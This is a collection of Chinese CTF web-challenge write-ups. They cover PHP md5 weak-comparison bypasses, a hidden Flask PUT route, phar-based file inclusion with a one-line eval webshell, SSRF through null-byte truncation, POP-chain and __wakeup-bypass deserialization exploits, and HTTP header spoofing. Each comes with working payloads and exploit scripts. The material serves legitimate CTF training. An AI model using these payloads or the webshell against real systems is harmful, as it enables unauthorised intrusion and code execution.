[NSSCTF 2022 Spring Recruit]babyphp
代码审计+md5
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?> let's get some php
intval() 函数用于获取变量的整数值。
a—要求不匹配数字且整数值不为0
b—md5弱相等
c—md5弱相等且为字符串:科学计数法绕过
可以传入两个md5加密后是0e开头的字符串,需要注意的地方是,这个以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0;可以查找以0e开头md5加密相等的字符串,也可以自己编写代码
byGcY 0e591948146966052067035298880982
QNKCDZO 0e830400451993494058024219903391
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
payload:a[]=1&b1[]=1&b2[]=2&c1=byGcY&c2=QNKCDZO
[GDOUCTF 2023]EZ WEB
FLASK+代码审计+PUT
点击没啥用
源代码
<!DOCTYPE html>
<html>
<head>
<title>index</title>
<script>
function start() {
alert("Where's the flag? i swear it was around here somewhere");
}
</script>
</head>
<body>
<button onclick='start()'>click me for the flag</button>
<!-- /src -->
</body>
</html>
提示访问/src
得到
import flask
app = flask.Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return flask.send_file('index.html')
@app.route('/src', methods=['GET'])
def source():
return flask.send_file('app.py')
@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
return open('flag').read()
用burp传put包
[NISACTF 2022]bingdundun~
文件上传+文件包含(phar)
1.注意观察,首先给出了一个链接,点进去后可以发现两个页面都存在//index.php
,而且 url 多了一个参数bingdundun
,疑似文件包含,改成?bingdundun=index
试试
-
可以发现直接套娃起来了,那么可以推测出是在后面加上
.php
,然后进行文件包含。 -
接着上传 shell 文件试试,bp 抓包 fuzz 后可以发现对文件后缀名有严格限制,而且也不能上传配置文件,那么既不能上传 php 文件,也不能包含非 php 文件( \x00 的截断在 php>5.3.4 就没用了,而且还要考虑 GPC ,所以是比较鸡肋的方法)。其实我们可以通过 zip 协议和 phar 协议来包含文件。这道题似乎 zip 协议包含不成功。
-
phar ( php archive ) 是 PHP 里类似于 jar ( java archive ) 的一种打包文件。如果你使用的是 PHP 5.3 或更高版本,那么 .phar 后缀文件是默认开启支持的,你不需要任何其他的安装就可以使用它。而
phar://
的伪协议,可以将任意后缀名的压缩包(原来是 .phar 或 .zip,注意:PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行 ) 解包,从而可以通过上传压缩包绕过对后缀名的限制,再利用伪协议实现文件包含。 -
因此先要生成一个压缩包文件,这里就有两个方向,一是生成zip文件,可以直接将一句话木马压缩为 .zip 文件;二是生成 phar 文件
注意:默认phar扩展是只读模式,需要手动配置php.ini中phar.readonly= Off
且无法用ini_set修改
6.这里给出参考代码,运行后可在目录下发现生成的 shell.phar 文件,为了绕过上传文件后缀名限制,需要修改文件名为 shell.jpg
<?php
$payload = '<?php eval($_POST[]); ?>'; //一句话木马
$phar = new Phar("shell.phar"); // 后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置stub
$phar->addFromString("1.php", "$payload"); // 添加要压缩的文件
// $phar->setMetadata(...); // 在metadata添加内容,可参考 phar反序列化,此处用不着,故注释
$phar->stopBuffering();
?>
7.上传后利用phar://伪协议读取文件
[LitCTF 2023]Vim yyds
vim+代码审计
题目提示vim了
那就访问/.index.php.swp下载得到swp文件
1.用记事本或010打开,找到关键代码
2.或者git bash here 利用 vim -r index.php.swp 命令 恢复index.php文件
然后构造payload:cmd=cat /flag&password=R2l2ZV9NZV9Zb3VyX0ZsYWc=即可
[GKCTF 2020]cve版签到
%00截断
意思是url以.ctfhub.com结尾
1.可用开发者工具中的网络看到提示:flag in localhost(打开后空白则刷新一下)
2.也可以直接抓包
点击链接后
url中多了点东西
根据提示构造一下?url=http://127.0.0.1%00.ctfhub.com
host用123结尾
?url=http://127.0.0.123%00.ctfhub.com
[HNCTF 2022 Week1]2048
游戏型js分析
源代码中找到js文件搜索alert
根据代码做出改动并ctrl+S保存
接着敲击回车
[NISACTF 2022]popchains
php反序列化+pop链
Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;#4Road_is_Long
public $string;#3Make_a_Change
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;#1shell
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
1.先找出口,显然就是include文件包含漏洞,可以看到__invoke中调用了append,故而给var备注#1shell
2.然后__invoke在尝试以调用函数的方式调用对象的时候,就会被调用
故找到$function(),结合上一行代码给effort备注#2Try_Work_Hard
3.接着__get():读取不可访问或者不存在的属性的时候,进行赋值
往上找到$this->string->page,给string标记为#3Make_a_Change
4.__toString():把类当成字符串的时候调用,一般在echo处生效
这里显然不是echo,不过可以看到正则匹配时用到了$this->page,故给page标记#4Road_is_Long
5.__wakeup():反序列化的时候调用
那么就是自动调用
思路理好后就可以写payload了
<?php
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var="/flag";
}
class Make_a_Change{
public $effort;
}
$a1=new Road_is_Long();
$a2=new Road_is_Long();
$b=new Make_a_Change();
$c=new Try_Work_Hard();
$a1->page=$a2;
$a2->string=$b;
$b->effort=$c;
echo urlencode(serialize($a1));
?>
CNSS
[Baby] Webpack
网页检索webpack漏洞
webpack 源码泄露_webpack漏洞_Luckysec的博客-CSDN博客
根据引导可知“使用webpack打包应用程序会在网站js同目录下生成 js.map文件“,即我们要下载该文件
找到源码文件main.c91fb7d1.js
加上.map后缀访问下载得到文件main.c91fb7d1.js.map
用记事本打开ctrl+F搜索cnss
[Easy] ezhttp
http请求头修改
什么,你真的会http请求吗?CNSS娘决定考考你
#初始包
GET /Index HTTP/1.1
Host: 124.221.34.13:50005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
1.只接受CNSS请求
GET改为CNSS
2.只能在安卓微信内置浏览器中请求
网络检索一下:
微信内置:
android:
Mozilla/5.0 (Linux; Android 5.1; OPPO R9tm Build/LMY47I; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043220 Safari/537.36 MicroMessenger/6.5.7.1041 NetType/4G Language/zh_CN
把user-agent改一下
3.只接受来自cnss.io的请求
在host下一行添加 referer:cnss.io
4.只接受来自本机的请求
在referer下一行添加 x-forwarded-for:127.0.0.1
5.只接受uestc.edu.cn域名的请求
修改host
6.只接受内容类型为application/json的请求
这里注意 accept是自己接受的内容类型,content-type是自己发出的内容类型(对方接受的内容类型)
所以添加content-type
7.不接受内容长度为0的请求
在最下面加点内容
8.你倒是发个json过来啊
将加的内容改为json:{}
9.能告诉我你的名字(name)吗?
添加 “name”:“123”
10.能告诉我你的密码(password)吗?
添加 “password”:“123”
11.能在cookie中写入你的名字(name)吗?
cookie:name=123
p.s. 这里的名字密码需与前面一致
12.能在Cookie中写入你的密码(password)吗?
cookie:name=123;password=123
13.BasicAuth验证失败
HTTP Basic Auth:使用和Postman 测试_basic auth postman_过河的小卒子的博客-CSDN博客
authorization:Basic MTIzOjEyMw==
14.返回flag
🤨 [Easy] ezunserialize
php反序列化+不可见字符
<?php
error_reporting(0);
show_source(__FILE__);
include "flag.php";
class CNSS
{
public $username;
private $i_want2_say;
protected $password;
function __wakeup()
{
$this->username = 'guest';
$this->i_want2_say = 'i_like_web';
$this->password = '123456';
echo "<br/> wake up! <br/>";
}
function __destruct()
{
echo "destruct<br />";
if ($this->username === 'admin' && $this->password === 'ctf' && $this->i_want2_say === 'fssmsli_like_web') { //wtf
global $flag;
echo $flag;
} else
echo "you are 2 baby la<br/>";
}
}
unserialize($_GET['web']);
?>
将代码复制到vscode中就会发现wtf处存在不可见字符
构建起来很简单
<?php
error_reporting(0);
show_source(__FILE__);
include "flag.php";
class CNSS
{
public $username='admin';
private $i_want2_say='fssmsli_like_web';
protected $password='ctf';
function __wakeup()
{
$this->username = 'guest';
$this->i_want2_say = 'i_like_web';
$this->password = '123456';
}
function __destruct()
{
if ($this->username === 'admin' && $this->password === 'ctf' && $this->i_want2_say === 'fssmsli_like_web') { //wtf
global $flag;
echo $flag;
} }
}
$a=new CNSS();
echo urlencode(serialize($a));
?>
输出为O%3A4%3A%22CNSS%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A17%3A%22%00CNSS%00i_want2_say%22%3Bs%3A28%3A%22%E2%80%AE%E2%81%A6fssmsl%E2%81%A9%E2%81%A6i_like_web%22%3Bs%3A11%3A%22%00%2A%00password%22%3Bs%3A3%3A%22ctf%22%3B%7D
不过这样还不能得到flag
原因是存在__wakeup方法,该方法会在unserialize时自动调用,这会改变我们的赋值
因此,我们需要绕过,方法很简单:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
因此只要将O:4:“CNSS”:3:{s:8:“username”;s:5:“admin”;s:17:"(由于存在不可见字符,因此序列化后直接输出会存在字符丢失,必须url编码后输出才能完整)CNSS后的3改大一些就能绕过
O%3A4%3A%22CNSS%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A17%3A%22%00CNSS%00i_want2_say%22%3Bs%3A28%3A%22%E2%80%AE%E2%81%A6fssmsl%E2%81%A9%E2%81%A6i_like_web%22%3Bs%3A11%3A%22%00%2A%00password%22%3Bs%3A3%3A%22ctf%22%3B%7D